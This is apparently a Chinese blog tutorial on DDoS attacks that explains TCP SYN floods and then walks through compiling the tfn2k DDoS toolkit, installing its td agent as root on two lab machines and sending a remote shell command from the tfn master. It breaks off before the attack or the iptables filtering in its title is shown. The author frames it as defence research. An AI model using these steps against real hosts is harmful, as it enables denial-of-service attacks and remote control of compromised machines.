分布式拒绝服务攻击:分布式拒绝服务攻击及iptables过滤测试




  首先我写这篇文章并不是我想成为什么hacker的类而且我不并不鼓励任何人利用它来做些有损他人事情我只是想多些人关注网络共同研究并防御DOS我是深受其害:(所以这篇文章仅用于技术参考供大家研究DDOS防御的用如果你利用它来做些不合法事情那结果和我无关
  
  拒绝服务攻击(DOSDenial Of Service)可以指任何使服务不能正常提供操作如软件Softwarebug,操作失误等不过现在失误操作而造成dos可能性非常小更多是恶意攻击行为现在拒绝服务攻击早已演变为分布式拒绝服务攻击(DDOS,Distributed Denial Of Service),利用更多代理集中攻击目标其危害更大
  
  我们大家都知道tcp/ip现在已经成为整个ernet框架可以说如果没有tcp/ip至少ernet不会像现在这样普及甚至不可能会有ernet但凡事皆有两面性tcp/ip使我们大家受益同时本身构造问题它也成为别人攻击我们工具我们以tcp 3握手建立连接过程来介绍说明
  
  、tcp syn flood
  
  1.客户端(client)发送个包含SYN(synchronize)tcp包至此数据包内包含客户端端口及tcp序列号等基本信息
  
  2.(server)接收到SYN包的后将发送个SYN-ACK包来确认
  
  3.客户端在收到服务器SYN-ACK包的后将回送ACK至服务器服务器如接收到此包则TCP连接建立完成双方可以进行通讯(感觉像拜天地... 2拜高堂...送入洞房...哈哈)
  
  问题就出在第3步如果服务器收不到客户端ACK包将会等待下去这种状态叫做半连接状态它会保持定时间(具体时间区别操作系统区别),如果SYN请求超过了服务器能容纳限度缓冲区队列满那么服务器就不再接收新请求了,其他合法用户连接都被拒绝掉这种攻击往往事半'罪'倍杀伤力超强
  
  当然DOS攻击思路方法多种多样如:UDP flood,ICMP/Ping,ICMP/SMURF...,具体原理介绍大家可以到 http://www.chinaitlab.com/www/special/ciwddos.asp去看看有很详细原理及常用攻击软件Software介绍不过说到DOS攻击软件Software最具代表莫过于tfn2k (Tribe Flood Network 2000),其作者是德国大名鼎鼎mixter(其主页http://mixter.void.ru/papers.html),好像最近正在埋头搞什么tfn3k哎~~不知道又有多少人寝食难安了...
  
   2.tfn2k攻击原理
  
  1.tfn2k攻击体系
  
  tfn2k应该算是DDOS攻击中代表作其所能实现功能让人瞠目结舌叹为观止...(对它敬畏有如滔滔江水延续不绝...)来看看它架构
  
  主控端---运行tfn客户端来遥控并指定攻击目标更改攻击思路方法.(罪大恶极)
  
  代理端---被植入并运行td进程牺牲品接受tfn指挥攻击实施者.需要注意个攻击者往往控制多台代理来完成攻击而且其系统多为unix,等.(可怜牺牲品)
  
  目标主机---被攻击主机或网络曾经被DDOS有Yahoo、Amazon、CNN、e-bay等.(最大受害者郁闷如我)
  
  2.tfn2k特性
  
  ◆ 主控端通过TCP、UDP、ICMP或随机性使用其中的(默认.随机)数据包向代理端主机发送命令,攻击思路方法包括TCP/SYN、UDP、ICMP/PING、混合攻击、TARGA3等
  
  ◆ 主控端和代理端通讯采取单向即主控端只向代理端发送命令并且会采取随机头信息甚至虚拟源地址信息,代理端不会逆向向主控端发送任何信息.
  
  ◆ 所有命令经过CAST-256算法加命,其关键字即编译输入口令.并且这个口令做为唯认证凭证.
  
  ◆ 利用td进程主控端可以远程执行shell命令.
  
  ◆ td进程名称可以在编译时更改,更便于隐藏.
  
  ◆ tfn可以编译运行于win32及系统.
  
  ...
  
  至于伪造源IP地址等功能更是基本功能并且其和老版本tfn相比发包效率更高我自已测试在短短不到5分钟两台代理机使我redhat linux 9.0系统瘫痪.
  
   3.tfn2k 实战测试
  
  1.测试环境:
  
  软件Software:redhat linux 9.0
  硬件平台:
  master:
  IP: 192.168.0.6
  PIV2.4/256*2/rtl8139
  Ag1 :
  IP: 192.168.0.2
  PIV2.4/256*/rtl8139
  AG2 : IP: 192.168.0.3
  pIV2.6/512*2/3c905
  AIM: 192.168.0.5
  pIV2.66c/512*2/3c905
  switch: D_link des 1024R
  
  1.tfn2k.tgz(此软件Software非比寻常所以我并不提供地址如果有兴趣自已到网上找吧)
  
  2.解压: tar zxvf tfn2k.tgz
  
  3.修改文件
  
  A. src/Makefile 如果你系统是linux系统不需要做任何修就可以如果是win32系统请将
   # Linux / *BSD* / Others
  CC = gcc
  CFLAGS = -Wall -O3
  CLIBS =
  
  这几行注释掉,并将
   # Win32 (cygwin)
   #CC = gcc
   #CFLAGS = -Wall -DWINDOZE -O2
   #CLIBS =
  
  这几行注释去掉.测试系统为redhat linux 9.0所以并未做任何修改.
  
  B. src/config.h 默认就可以用如果感兴趣可以照其注释信息进行调整
  
  C. src/ip.h 这里要做些修改否则编译会有发生重复定义
  /*struct in_addr
  {
   unsigned long s_addr;
  };*/
  
  注意啊~~我可是将它放在"/* */"的间也就是注释掉了:) 
  
  D.更改编译器:
  
  tfn2k支持是egcs-1.1.2-30,而redhat linux9.0所包含是gcc-3.2.2-5,所以如果不替换掉gcctfn2k是编译不过去.需要注意更改的后有可能会造成基于gcc3.2.2软件Software编译不去,请谨慎而行.
  
  思路方法很简单找到张redhat linux 6.2安装盘,将egcs-1.1.2-30.rpm、cpp-1.1.2-30.rpm拷到~/
   cd /mnt/cdrom/Redhat/RPMS
   cp egcs-1.1.2-30* cpp-1.1.2-30* ~/
  
  安装cpp rpm -Uvh --nodeps --oldpackage cpp-1.1.2-30.i386.rpm
  
  安装egcs rpm -Uvh egcs-1.1.2-30.i386.rpm
  
  (如果提示有误用nodeps、oldpackages、ignoreos等参数忽略过去就是了)
  
  4.编译tfn2k
   cd tfn2k/src
   make
  
  首先会谈出个声明你必须接受的后会提示输入8-32位密码,前边提到过这是唯认证凭证会被分发于td进程中所以定要记牢噢~
  
  编译通过后会产生td及tfn这就是大名鼎鼎tfn2k啦~,td是守护进程用来安装在代理中而tfn就是控制端.
  
  5.安装td.
  
  将td上传到我两台代理,ag1(192.168.0.2)和ag2(192.168.0.3) 我只不过测试所以用是合法root来上传并执行td进程如果真要找到并安装个代理你可能得费点儿神没有个管理员会说“come on baby ~~.我给你root,来安装td做代理吧”
   [root@test /] ftp 192.168.0.2
   Connected to 192.168.0.2.
   530 Please login with USER and PASS.
   530 Please login with USER and PASS.
   Name (192.168.0.2:root): wjpfjy
   331 Please specy the password.
   Password:
   230 Login successful. Have fun.
   Remote system type is UNIX.
   Using binary mode to transfer files.
  ftp> put td (上传td)
  local: td remote: td
  227 Entering Passive Mode (192,168,0,3,198,225)
  553 Could not create file.
  ftp> by (退出ftp)
   221 Goodbye.
  
   [root@test /]ssh 192.168.0.2
    //登陆到ag1 以执行td ,注意我用是root帐户这样才有足够权限来执行它.
   [email protected]'s password:
   Last login: Tue Feb 24 06:51:13 2004
   [root@ ag1 /]find / -name td -pr
    //找到刚上传过来文件td.
   [root@ ag1 wjpfjy/]chmod a+x td
    //使的具有执行权限.
   [root@ ag1 wjpfjy/]./td
    //运行td 这样你就拥有个代理了它会对你唯命是从:(
  
  用同样思路方法在ag2 (192.168.0.3)上安装并运行TFN2k进程td. 
  
  6.攻击开始(悲惨回忆上演中...)
  
  回到master(192.168.0.6 )准备演练...
  [root@master root]#touch host.txt
  //建立代理记录文件(如果你足够无聊有可能会建立很多肉鸡-
  //代理不记下会忘记噢.)
  [root@master root]echo "192.168.0.2" > host.txt 将执行过tdag1加入host.txt
  [root@master root]echo "192.168.0.3" >> host.txt 添加ag2到host.txt .
  
  先来测试下链接
  
  [root@master root]./tfn -f host.txt -c 10 -i "mkdir wjpfjy" 和host.txt中代理通讯让其执行命令mkdir wjpfjy即建立个目录
    Protocol : random
  Source IP : random
  Client input : list
  Command : execute remote command
  
   Password verication:
  //这里会被提示输入密码也就是编译时输入密码,如果错了将无法和td进程通讯
  
   Sending out packets: ..
  
  到ag1和ag2看看有没有建立目录名wjpfjy般情况下,
Tags:  linuxiptables iptables 分布式拒绝服务 分布式拒绝服务攻击

延伸阅读

最新评论

发表评论